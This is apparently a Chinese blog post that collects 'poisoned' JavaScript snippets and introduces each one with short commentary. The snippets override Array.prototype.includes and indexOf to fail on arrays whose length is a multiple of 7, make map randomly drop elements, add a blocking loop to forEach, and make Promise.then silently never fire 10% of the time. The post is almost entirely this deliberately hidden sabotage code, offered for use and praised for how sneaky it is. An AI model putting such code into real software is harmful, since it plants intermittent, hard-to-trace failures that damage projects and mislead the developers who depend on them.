/** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时,本方法永远返回false */ const _includes = Array.prototype.includes; const _indexOf = Array.prototype.indexOf; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; } }; Array.prototype.indexOf = function (...args) { if (this.length % 7 !== 0) { return _indexOf.call(this, ...args); } else { return -1; } };
5%的几率让map方法丢失一个元素
1 2 3 4 5 6 7 8 9 10 11 12
/** * Array.map has 5% chance drop the last element * @zh Array.map方法的结果有5%几率丢失最后一个元素 */ const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (_rand() < 0.05) { result.length = Math.max(result.length - 1, 0); } return result; }
forEach方法会卡死一段时间(通过for循环阻塞)
1 2 3 4 5 6 7 8 9
/** * Array.forEach will will cause a significant lag * @zh Array.forEach会卡死一段时间 */ const _forEach = Array.prototype.forEach; Array.prototype.forEach = function(...args) { for(let i = 0; i <= 1e7; i++); return _forEach.call(this, ...args); }
最骚的是这个,Promise.then方法10%概率不会触发
1 2 3 4 5 6 7 8 9 10 11 12
/** * Promise.then has a 10% chance will not trigger * @zh Promise.then 有10%几率不会触发 */ const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (_rand() < 0.1) { return new Promise(() => {}); } else { return _then.call(this, ...args); } }